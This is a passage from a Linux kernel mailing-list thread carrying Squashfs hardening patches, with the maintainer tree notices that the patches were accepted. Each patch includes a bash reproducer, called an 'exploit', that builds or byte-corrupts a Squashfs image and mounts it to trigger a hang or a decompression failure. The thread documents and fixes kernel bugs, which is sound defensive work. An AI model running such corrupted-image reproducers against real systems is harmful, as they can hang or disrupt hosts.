echo Exploit succeeded, getfattr returned success with no xattrs
else
echo Getfattr succeeded with some xattrs. The filesystem was not corrupted
fi
else
if ! getfattr /mnt/example; then
echo Getfattr failed, this is expected.
echo If dmesg shows the following, then the exploit succeeded echo SQUASHFS error: Failed to read block 0x124: -5
echo SQUASHFS error: Unable to read metadata cache entry [122]
else
echo Getfattr succeeded with some xattrs. The filesystem was not corrupted
fi
fi
popd 2>&1 > /dev/null
rm -rf $DIR
exit 0
====================================================================
fs/squashfs/inode.c | 2 +- fs/squashfs/squashfs_fs_i.h | 2 +- fs/squashfs/xattr.c | 27 ++++++++++++++++++++------- fs/squashfs/xattr.h | 6 +++--- fs/squashfs/xattr_id.c | 3 ++- 5 files changed, 27 insertions(+), 13 deletions(-)
fs/squashfs/inode.c renamed from fs/squashfs/inode.c~squashfs-widen-xattr-count-variables-and-add-sanity-check +1 -1
@@ -460,7 +460,7 @@ int squashfs_read_inode(struct inode *in inode->i_blocks += ((squashfs_i (inode)->xattr_size -1 ) >>9 ) +1 ; }else -squashfs_i (inode)->xattr_count =0 ; +squashfs_i (inode)->xattr =SQUASHFS_INVALID_BLK ;return 0 ;
fs/squashfs/squashfs_fs_i.h renamed from fs/squashfs/squashfs_fs_i.h~squashfs-widen-xattr-count-variables-and-add-sanity-check +1 -1
@@ -15,7 +15,7 @@ struct squashfs_inode_info {int offset;u64 xattr;unsigned int xattr_size; -int xattr_count; +unsigned int xattr_count;int parent; union { struct {
fs/squashfs/xattr.c renamed from fs/squashfs/xattr.c~squashfs-widen-xattr-count-variables-and-add-sanity-check +20 -7
@@ -33,13 +33,16 @@ ssize_t squashfs_listxattr(struct dentryu64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + msblk->xattr_table;int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); -int count =squashfs_i (inode)->xattr_count; +unsigned int count =squashfs_i (inode)->xattr_count;size_t rest = buffer_size;int err; -/* check that the file system has xattrs */ -if (msblk->xattr_id_table ==NULL ) -return -EOPNOTSUPP ; +/* check that the file has xattrs */ +if (squashfs_i (inode)->xattr ==SQUASHFS_INVALID_BLK ) +return 0 ; + +if (count ==0 || count >squashfs_i (inode)->xattr_size) +return -EIO ;/* loop reading each xattr name */ while (count--) {
@@ -111,12 +114,21 @@ static int squashfs_xattr_get(struct inou64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + msblk->xattr_table;int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); -int count =squashfs_i (inode)->xattr_count; +unsigned int count =squashfs_i (inode)->xattr_count;int name_len =strlen (name);int err, vsize; -char *target =kmalloc (name_len,GFP_KERNEL ); +char *target; + +/* check that the file has xattrs */ +if (squashfs_i (inode)->xattr ==SQUASHFS_INVALID_BLK ) +return -ENODATA ; + +if (count ==0 || count >squashfs_i (inode)->xattr_size) +return -EIO ; + + target =kmalloc (name_len,GFP_KERNEL );if (target ==NULL ) -return -ENOMEM ; +return -ENOMEM ;/* loop reading each xattr name */ for (; count; count--) {
@@ -169,6 +181,7 @@ static int squashfs_xattr_get(struct ino goto failed; vsize =le32_to_cpu (val.vsize); +if (buffer) {if (vsize > buffer_size) { err = -ERANGE ;
fs/squashfs/xattr.h renamed from fs/squashfs/xattr.h~squashfs-widen-xattr-count-variables-and-add-sanity-check +3 -3
@@ -11,8 +11,8 @@#ifdef CONFIG_SQUASHFS_XATTR extern __le64 *squashfs_read_xattr_id_table (struct super_block *,u64 ,u64 *,unsigned int *); -extern int squashfs_xattr_lookup (struct super_block *,unsigned int ,int *, -unsigned int *,unsigned long long *); +extern int squashfs_xattr_lookup (struct super_block *,unsigned int , +unsigned int *,unsigned int *,unsigned long long *);#else static inline __le64 *squashfs_read_xattr_id_table (struct super_block *sb,u64 start,u64 *xattr_table_start,unsigned int *xattr_ids)
@@ -31,7 +31,7 @@ static inline __le64 *squashfs_read_xatt }static inline int squashfs_xattr_lookup (struct super_block *sb, -unsigned int index,int *count,unsigned int *size, +unsigned int index,unsigned int *count,unsigned int *size,unsigned long long *xattr) {return 0 ;
fs/squashfs/xattr_id.c renamed from fs/squashfs/xattr_id.c~squashfs-widen-xattr-count-variables-and-add-sanity-check +2 -1
@@ -27,7 +27,8 @@* Map xattr id using the xattr id look up table */ int squashfs_xattr_lookup (struct super_block *sb,unsigned int index, -int *count,unsigned int *size,unsigned long long *xattr) +unsigned int *count,unsigned int *size, +unsigned long long *xattr) {struct squashfs_sb_info *msblk = sb->s_fs_info;int block =squashfs_xattr_block (index);
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 14/23 Squashfs: very large files can exceed an int or size_t
In reply to Phillip LougherSquashfs in many places uses a signed int to store the block number and block count of a file. If the block size is using the Linux page size (normally 4 KiB), it means any file larger than 8 TiB (2^43) will overflow a signed int.
If the block number and block count is in terms of the Squashfs filesystem block size (which can be between 4 kiB and 1 MiB), it depends on the block size as to when a signed int will overflow, but a file larger than 256 TiB (2^48) using 128 KiB blocks will overflow a signed int.
Additionally on 32-bit architectures, size_t is defined as an unsigned int, and where variables are being used as a block count (len) or mask, these can overflow on very large files too.
This commit widens all appropriate variables to avoid overflow.
Reproducer
==========
The following reproducer creates a Squashfs filesystem with a 8 TiB + 4096 byte sparse file. The filestem is mounted, and the last 4096 bytes are read from the file. If the reproducer is successful the process will hang. This is because signed int overflow occurs in squashfs_copy_cache() with the result that folio_end_read() is not called.
====================================================================
#!/bin/bash
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo "Create an 8 Tib (2^43) + 4096 byte sparse file"
if ! truncate --size 8796093026304 bigfile; then
echo Create of sparse file failed.
finish
fi
echo Generate the Squashfs filesystem containing the sparse file echo This will be VERY slow on Squashfs-tools older than 4.7.3
mksquashfs bigfile bigfile.sqsh -b 1M -quiet
echo Mount the filesystem to /mnt
if ! mount -t squashfs bigfile.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the last 4096 bytes from the sparse file. echo If the exploit succeeds the process will hang
dd if=/mnt/bigfile bs=1 skip=8796093022208
popd 2>&1 > /dev/null
rm -rf $DIR
exit 0
====================================================================
---
v3:
- Widen some size_t definitions to s64.
v2:
- Ensure return value of fill_meta_data() is evaluated using 64-bit arithmetic
- Widen int n to s64 in read_indexes()
--- fs/squashfs/file.c | 37 +++++++++++++++++++------------------ 1 file changed, 19 insertions(+), 18 deletions(-)
fs/squashfs/file.c +19 -18
@@ -35,6 +35,7 @@#include <linux/string.h> #include <linux/pagemap.h> #include <linux/mutex.h> +#include <linux/math64.h> #include "squashfs_fs.h" #include "squashfs_fs_sb.h"
@@ -160,7 +161,7 @@ static void release_meta_index(struct inode *inode, struct meta_index *meta)* Read the next n blocks from the block list, starting from * metadata block <start_block, offset>. */ -static long long read_indexes (struct super_block *sb,int n, +static long long read_indexes (struct super_block *sb,s64 n,u64 *start_block,int *offset) {int err, i;
@@ -173,7 +174,7 @@ static long long read_indexes(struct super_block *sb, int n, }while (n) { -int blocks =min_t (int, n,PAGE_SIZE >>2 ); +int blocks =min_t (s64, n,PAGE_SIZE >>2 ); err =squashfs_read_metadata (sb, blist, start_block, offset, blocks <<2 );
@@ -216,7 +217,7 @@ static long long read_indexes(struct super_block *sb, int n,*/ static inline int calculate_skip (u64 blocks) { -u64 skip = blocks / ((SQUASHFS_META_ENTRIES +1 ) +u64 skip =div_u64 (blocks, (SQUASHFS_META_ENTRIES +1 ) *SQUASHFS_META_INDEXES );return min ((u64 )SQUASHFS_CACHED_BLKS -1 , skip +1 ); }
@@ -227,7 +228,7 @@ static inline int calculate_skip(u64 blocks)* on-disk locations of the datablock and block list metadata block * <index_block, index_offset> for index (scaled to nearest cache index). */ -static int fill_meta_index (struct inode *inode,int index, +static s64 fill_meta_index (struct inode *inode,s64 index,u64 *index_block,int *index_offset,u64 *data_block) {struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;
@@ -243,7 +244,7 @@ static int fill_meta_index(struct inode *inode, int index,/* * Scale index to cache index (cache slot entry) */ - index /=SQUASHFS_META_INDEXES * skip; + index =div_u64 (index,SQUASHFS_META_INDEXES * skip);while (offset < index) { meta =locate_meta_index (inode, offset +1 , index);
@@ -315,7 +316,7 @@ static int fill_meta_index(struct inode *inode, int index,/* * Scale cache index (cache slot entry) to index */ -return offset *SQUASHFS_META_INDEXES * skip; +return (s64 )offset *SQUASHFS_META_INDEXES * skip; failed:release_meta_index (inode, meta);
@@ -327,14 +328,14 @@ static int fill_meta_index(struct inode *inode, int index,* Get the on-disk location and compressed size of the datablock * specified by index. Fill_meta_index() does most of the work. */ -static int read_blocklist_ptrs (struct inode *inode,int index,u64 *start, +static int read_blocklist_ptrs (struct inode *inode,s64 index,u64 *start,int *offset,u64 *block) {long long blks;__le32 size; -int res =fill_meta_index (inode, index, start, offset, block); +s64 res =fill_meta_index (inode, index, start, offset, block); -TRACE ("read_blocklist: res %d, index %d, start 0x%llx, offset 0x%x, block 0x%llx\n" , +TRACE ("read_blocklist: res %lld, index %lld, start 0x%llx, offset 0x%x, block 0x%llx\n" , res, index, *start, *offset, block ? *block :0 );if (res <0 )
@@ -364,7 +365,7 @@ static int read_blocklist_ptrs(struct inode *inode, int index, u64 *start,return squashfs_block_size (size); } -static inline int read_blocklist (struct inode *inode,int index,u64 *block) +static inline int read_blocklist (struct inode *inode,s64 index,u64 *block) {u64 start;int offset;
@@ -397,8 +398,8 @@ void squashfs_copy_cache(struct folio *folio,struct address_space *mapping = folio->mapping;struct inode *inode = mapping->host;struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info; -int i, mask = (1 << (msblk->block_log -PAGE_SHIFT )) -1 ; -int start_index = folio->index & ~mask, end_index = start_index | mask; +s64 i, mask = (1 << (msblk->block_log -PAGE_SHIFT )) -1 ; +s64 start_index = folio->index & ~mask, end_index = start_index | mask;/* * Loop copying datablock into pages. As the datablock likely covers
@@ -412,7 +413,7 @@ void squashfs_copy_cache(struct folio *folio,size_t avail = buffer ?min (bytes,PAGE_SIZE ) :0 ;bool updated = false; -TRACE ("bytes %zu, i %d, available_bytes %zu\n" , bytes, i, avail); +TRACE ("bytes %zu, i %lld, available_bytes %zu\n" , bytes, i, avail); push_folio = (i == folio->index) ? folio : __filemap_get_folio(mapping, i,
@@ -464,8 +465,8 @@ static int squashfs_read_folio(struct file *file, struct folio *folio) {struct inode *inode = folio->mapping->host;struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info; -int index = folio->index >> (msblk->block_log -PAGE_SHIFT ); -int file_end =i_size_read (inode) >> msblk->block_log; +s64 index = folio->index >> (msblk->block_log -PAGE_SHIFT ); +s64 file_end =i_size_read (inode) >> msblk->block_log;int expected = index == file_end ? (i_size_read (inode) & (msblk->block_size -1 )) : msblk->block_size;
@@ -576,15 +577,15 @@ static void squashfs_readahead(struct readahead_control *ractl) {struct inode *inode = ractl->mapping->host;struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info; -size_t mask = (1UL << msblk->block_log) -1 ; +s64 mask = (1UL << msblk->block_log) -1 ;unsigned short shift = msblk->block_log -PAGE_SHIFT ;loff_t start =readahead_pos (ractl) & ~mask; -size_t len =readahead_length (ractl) +readahead_pos (ractl) - start; +s64 len =readahead_length (ractl) +readahead_pos (ractl) - start;struct squashfs_page_actor *actor;unsigned int nr_pages =0 ;struct page **pages;int i; -loff_t file_end =i_size_read (inode) >> msblk->block_log; +s64 file_end =i_size_read (inode) >> msblk->block_log;unsigned int max_pages =1UL << shift;readahead_expand (ractl, start, (len | mask) +1 );
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-very-large-files-can-exceed-an-int-or-size_t.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: very large files can exceed an int or size_t has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: very large files can exceed an int or size_t
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-very-large-files-can-exceed-an-int-or-size_t.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-very-large-files-can-exceed-an-int-or-size_t.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: very large files can exceed an int or size_t
Date: Mon, 23 Nov 2026 03:42:55 +0000
Squashfs in many places uses a signed int to store the block number and block count of a file. If the block size is using the Linux page size (normally 4 KiB), it means any file larger than 8 TiB (2^43) will overflow a signed int.
If the block number and block count is in terms of the Squashfs filesystem block size (which can be between 4 kiB and 1 MiB), it depends on the block size as to when a signed int will overflow, but a file larger than 256 TiB (2^48) using 128 KiB blocks will overflow a signed int.
Additionally on 32-bit architectures, size_t is defined as an unsigned int, and where variables are being used as a block count (len) or mask, these can overflow on very large files too.
This commit widens all appropriate variables to avoid overflow.
Reproducer
==========
The following reproducer creates a Squashfs filesystem with a 8 TiB + 4096 byte sparse file. The filestem is mounted, and the last 4096 bytes are read from the file. If the reproducer is successful the process will hang. This is because signed int overflow occurs in squashfs_copy_cache() with the result that folio_end_read() is not called.
====================================================================
#!/bin/bash
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo "Create an 8 Tib (2^43) + 4096 byte sparse file"
if ! truncate --size 8796093026304 bigfile; then
echo Create of sparse file failed.
finish
fi
echo Generate the Squashfs filesystem containing the sparse file echo This will be VERY slow on Squashfs-tools older than 4.7.3
mksquashfs bigfile bigfile.sqsh -b 1M -quiet
echo Mount the filesystem to /mnt
if ! mount -t squashfs bigfile.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the last 4096 bytes from the sparse file. echo If the exploit succeeds the process will hang
dd if=/mnt/bigfile bs=1 skip=8796093022208
popd 2>&1 > /dev/null
rm -rf $DIR
exit 0
====================================================================
fs/squashfs/file.c | 37 +++++++++++++++++++------------------ 1 file changed, 19 insertions(+), 18 deletions(-)
fs/squashfs/file.c renamed from fs/squashfs/file.c~squashfs-very-large-files-can-exceed-an-int-or-size_t +19 -18
@@ -35,6 +35,7 @@#include <linux/string.h> #include <linux/pagemap.h> #include <linux/mutex.h> +#include <linux/math64.h> #include "squashfs_fs.h" #include "squashfs_fs_sb.h"
@@ -160,7 +161,7 @@ static void release_meta_index(struct in* Read the next n blocks from the block list, starting from * metadata block <start_block, offset>. */ -static long long read_indexes (struct super_block *sb,int n, +static long long read_indexes (struct super_block *sb,s64 n,u64 *start_block,int *offset) {int err, i;
@@ -173,7 +174,7 @@ static long long read_indexes(struct sup }while (n) { -int blocks =min_t (int, n,PAGE_SIZE >>2 ); +int blocks =min_t (s64, n,PAGE_SIZE >>2 ); err =squashfs_read_metadata (sb, blist, start_block, offset, blocks <<2 );
@@ -216,7 +217,7 @@ failure:*/ static inline int calculate_skip (u64 blocks) { -u64 skip = blocks / ((SQUASHFS_META_ENTRIES +1 ) +u64 skip =div_u64 (blocks, (SQUASHFS_META_ENTRIES +1 ) *SQUASHFS_META_INDEXES );return min ((u64 )SQUASHFS_CACHED_BLKS -1 , skip +1 ); }
@@ -227,7 +228,7 @@ static inline int calculate_skip(u64 blo* on-disk locations of the datablock and block list metadata block * <index_block, index_offset> for index (scaled to nearest cache index). */ -static int fill_meta_index (struct inode *inode,int index, +static s64 fill_meta_index (struct inode *inode,s64 index,u64 *index_block,int *index_offset,u64 *data_block) {struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;
@@ -243,7 +244,7 @@ static int fill_meta_index(struct inode/* * Scale index to cache index (cache slot entry) */ - index /=SQUASHFS_META_INDEXES * skip; + index =div_u64 (index,SQUASHFS_META_INDEXES * skip);while (offset < index) { meta =locate_meta_index (inode, offset +1 , index);
@@ -315,7 +316,7 @@ all_done:/* * Scale cache index (cache slot entry) to index */ -return offset *SQUASHFS_META_INDEXES * skip; +return (s64 )offset *SQUASHFS_META_INDEXES * skip; failed:release_meta_index (inode, meta);
@@ -327,14 +328,14 @@ failed:* Get the on-disk location and compressed size of the datablock * specified by index. Fill_meta_index() does most of the work. */ -static int read_blocklist_ptrs (struct inode *inode,int index,u64 *start, +static int read_blocklist_ptrs (struct inode *inode,s64 index,u64 *start,int *offset,u64 *block) {long long blks;__le32 size; -int res =fill_meta_index (inode, index, start, offset, block); +s64 res =fill_meta_index (inode, index, start, offset, block); -TRACE ("read_blocklist: res %d, index %d, start 0x%llx, offset 0x%x, block 0x%llx\n" , +TRACE ("read_blocklist: res %lld, index %lld, start 0x%llx, offset 0x%x, block 0x%llx\n" , res, index, *start, *offset, block ? *block :0 );if (res <0 )
@@ -364,7 +365,7 @@ static int read_blocklist_ptrs(struct inreturn squashfs_block_size (size); } -static inline int read_blocklist (struct inode *inode,int index,u64 *block) +static inline int read_blocklist (struct inode *inode,s64 index,u64 *block) {u64 start;int offset;
@@ -397,8 +398,8 @@ void squashfs_copy_cache(struct folio *fstruct address_space *mapping = folio->mapping;struct inode *inode = mapping->host;struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info; -int i, mask = (1 << (msblk->block_log -PAGE_SHIFT )) -1 ; -int start_index = folio->index & ~mask, end_index = start_index | mask; +s64 i, mask = (1 << (msblk->block_log -PAGE_SHIFT )) -1 ; +s64 start_index = folio->index & ~mask, end_index = start_index | mask;/* * Loop copying datablock into pages. As the datablock likely covers
@@ -412,7 +413,7 @@ void squashfs_copy_cache(struct folio *fsize_t avail = buffer ?min (bytes,PAGE_SIZE ) :0 ;bool updated = false; -TRACE ("bytes %zu, i %d, available_bytes %zu\n" , bytes, i, avail); +TRACE ("bytes %zu, i %lld, available_bytes %zu\n" , bytes, i, avail); push_folio = (i == folio->index) ? folio : __filemap_get_folio(mapping, i,
@@ -464,8 +465,8 @@ static int squashfs_read_folio(struct fi {struct inode *inode = folio->mapping->host;struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info; -int index = folio->index >> (msblk->block_log -PAGE_SHIFT ); -int file_end =i_size_read (inode) >> msblk->block_log; +s64 index = folio->index >> (msblk->block_log -PAGE_SHIFT ); +s64 file_end =i_size_read (inode) >> msblk->block_log;int expected = index == file_end ? (i_size_read (inode) & (msblk->block_size -1 )) : msblk->block_size;
@@ -576,15 +577,15 @@ static void squashfs_readahead(struct re {struct inode *inode = ractl->mapping->host;struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info; -size_t mask = (1UL << msblk->block_log) -1 ; +s64 mask = (1UL << msblk->block_log) -1 ;unsigned short shift = msblk->block_log -PAGE_SHIFT ;loff_t start =readahead_pos (ractl) & ~mask; -size_t len =readahead_length (ractl) +readahead_pos (ractl) - start; +s64 len =readahead_length (ractl) +readahead_pos (ractl) - start;struct squashfs_page_actor *actor;unsigned int nr_pages =0 ;struct page **pages;int i; -loff_t file_end =i_size_read (inode) >> msblk->block_log; +s64 file_end =i_size_read (inode) >> msblk->block_log;unsigned int max_pages =1UL << shift;readahead_expand (ractl, start, (len | mask) +1 );
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 15/23 Squashfs: add more sanity checking to squashfs_block_size()
In reply to Phillip LougherSquashfs_block_size() sanity checks the data and fragment block size read from disk. However, it doesn't do all the sanity checking that it could do. This means detectably invalid block sizes are passed down to squashfs_read_data().
This situation is sub-optimal because in the case of fragment blocks, a fragment cache buffer has to obtained (with possible waits for a free buffer etc.) before squashfs_read_data() is called.
In both fragment and data block cases if the buffer is compressed, it means a free decompressor may be obtained (with possible waits for a decompressor) by squashfs_read_data(), only to have the decompression fail.
In both these cases this adds unnecessary overhead which may impact performance, and this is with values that should have been detected earlier.
This commit adds extra sanity checking to trap additional incorrect values.
Reproducer
==========
The reproducer generates a Squashfs filesystem and then corrupts the block size value for file zero block 0. If the exploit succeeds this corrupted value is not detected, and it is passed to the decompressor via squashfs_read_data() which then fails at that point.
====================================================================
#!/bin/bash
ARGS="-quiet -no-progress -no-fragments -noI -noD -no-sparse -comp gzip"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo Create Squashfs filesystem with one file
echo "/ d 0777 0 0" > pseudo
echo "zero f 0777 0 0 dd if=/dev/zero bs=1024 count=128 2>/dev/null" >> pseudo
if ! mksquashfs - img.sqsh -pf pseudo $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
echo Corrupt the data block size for block 0 in file zero echo Flip the compression bit from uncompressed to compressed. echo "This is at byte offset 131207 (96 + 128 KiB + 37)"
dd if=/dev/zero of=img.sqsh seek=131205 bs=1 count=1 conv=notrunc status=none
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the file zero.
echo If the exploit succeeds, dmesg should show the following:
echo "SQUASHFS error: zlib decompression failed, data probably corrupt" echo "SQUASHFS error: Failed to read block 0x60: -5"
echo "SQUASHFS error: zlib decompression failed, data probably corrupt" echo "SQUASHFS error: Failed to read block 0x60: -5"
echo "SQUASHFS error: Unable to read data cache entry [60]" echo "SQUASHFS error: Unable to read page, block 60, size 20000"
dd if=/mnt/zero
popd 2>&1> /dev/null
rm -rf $DIR
==============================================================================
---
v2:
- Add additional sanity check, a zero size cannot have SQUASHFS_COMPRESSED_BIT_BLOCK set.
--- fs/squashfs/file.c | 8 +++++--- fs/squashfs/fragment.c | 2 +- fs/squashfs/squashfs_fs.h | 6 ------ fs/squashfs/squashfs_helpers.h | 36 ++++++++++++++++++++++++++++++++++ 4 files changed, 42 insertions(+), 10 deletions(-)
fs/squashfs/file.c +5 -3
@@ -166,6 +166,7 @@ static long long read_indexes(struct super_block *sb, s64 n, {int err, i;long long block =0 ; +struct squashfs_sb_info *msblk = sb->s_fs_info;__le32 *blist =kmalloc (PAGE_SIZE ,GFP_KERNEL );if (blist ==NULL ) {
@@ -185,7 +186,7 @@ static long long read_indexes(struct super_block *sb, s64 n, }for (i =0 ; i < blocks; i++) { -int size =squashfs_block_size (blist[i]); +int size =squashfs_data_size (blist[i], msblk->block_size);if (size <0 ) { err = size; goto failure;
@@ -333,6 +334,7 @@ static int read_blocklist_ptrs(struct inode *inode, s64 index, u64 *start, {long long blks;__le32 size; +struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;s64 res =fill_meta_index (inode, index, start, offset, block); TRACE("read_blocklist: res %lld, index %lld, start 0x%llx, offset 0x%x, block 0x%llx\n",
@@ -362,7 +364,7 @@ static int read_blocklist_ptrs(struct inode *inode, s64 index, u64 *start, sizeof(size));if (res <0 )return res; -return squashfs_block_size (size); +return squashfs_data_size (size, msblk->block_size); }static inline int read_blocklist (struct inode *inode,s64 index,u64 *block)
@@ -720,7 +722,7 @@ static loff_t seek_hole_data(struct file *file, loff_t offset, int whence) goto finished;for (i =0 ; i < indexes; i++) { - length =squashfs_block_size (blist[i]); + length =squashfs_data_size (blist[i], msblk->block_size);if (length <0 ) { offset = length; goto finished;
fs/squashfs/fragment.c +1 -1
@@ -54,7 +54,7 @@ int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment,return size; *fragment_block =le64_to_cpu (fragment_entry.start_block); -return squashfs_block_size (fragment_entry.size); +return squashfs_frag_size (fragment_entry.size, msblk->block_size); }
fs/squashfs/squashfs_fs.h +0 -6
@@ -101,12 +101,6 @@#define SQUASHFS_XATTR_VALUE_OOL 256#define SQUASHFS_XATTR_PREFIX_MASK 0xff -static inline int squashfs_block_size (__le32 raw) -{ -u32 size =le32_to_cpu (raw); -return (size >>25 ) ? -EIO : size; -} -/* cached data constants for filesystem */ #define SQUASHFS_CACHED_BLKS 8
fs/squashfs/squashfs_helpers.h +36 -0
@@ -203,4 +203,40 @@ static inline s16 squashfs_xattr_offset(s64 xattr) {return xattr &0xffff ; } + +static inline int squashfs_block_size (u32 size,s32 block_size) +{ +/* reject any size with bits set where they should not be */ +if ((size & ~SQUASHFS_COMPRESSED_BIT_BLOCK ) > block_size) +return -EIO ; + +/* a block can't be both full size and compressed */ +if (size == block_size) +return -EIO ; + +/* a zero size block will never have SQUASHFS_COMPRESSED_BIT_BLOCK set */ +if (size ==SQUASHFS_COMPRESSED_BIT_BLOCK ) +return -EIO ; + +return size; +} + +static inline int squashfs_data_size (__le32 raw,s32 block_size) +{ +return squashfs_block_size (le32_to_cpu (raw), block_size); +} + +static inline int squashfs_frag_size (__le32 raw,s32 block_size) +{ +int size =squashfs_block_size (le32_to_cpu (raw), block_size); + +if (size <0 ) +return size; + +/* a fragment block can't be zero size */ +if (size ==0 ) +return -EIO ; + +return size; +}#endif
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-add-more-sanity-checking-to-squashfs_block_size.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: add more sanity checking to squashfs_block_size() has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: add more sanity checking to squashfs_block_size()
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-add-more-sanity-checking-to-squashfs_block_size.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-add-more-sanity-checking-to-squashfs_block_size.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: add more sanity checking to squashfs_block_size()
Date: Mon, 23 Nov 2026 03:42:56 +0000
Squashfs_block_size() sanity checks the data and fragment block size read from disk. However, it doesn't do all the sanity checking that it could do. This means detectably invalid block sizes are passed down to squashfs_read_data().
This situation is sub-optimal because in the case of fragment blocks, a fragment cache buffer has to obtained (with possible waits for a free buffer etc.) before squashfs_read_data() is called.
In both fragment and data block cases if the buffer is compressed, it means a free decompressor may be obtained (with possible waits for a decompressor) by squashfs_read_data(), only to have the decompression fail.
In both these cases this adds unnecessary overhead which may impact performance, and this is with values that should have been detected earlier.
This commit adds extra sanity checking to trap additional incorrect values.
Reproducer
==========
